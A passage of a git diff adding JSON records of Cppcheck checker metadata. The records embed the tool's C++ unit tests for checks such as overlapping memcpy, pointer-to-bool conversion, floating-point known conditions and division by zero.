\"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCharVariable.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCharVariable.json new file mode 100644 index 0000000..6901376 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCharVariable.json @@ -0,0 +1,13 @@ +{ + "name": "checkCharVariable", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 46, + "branches": 19, + "apis": 67, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparePointers.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparePointers.json new file mode 100644 index 0000000..9399fd4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparePointers.json @@ -0,0 +1,22 @@ +{ + "name": "checkComparePointers", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 39, + "branches": 15, + "apis": 40, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12660 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 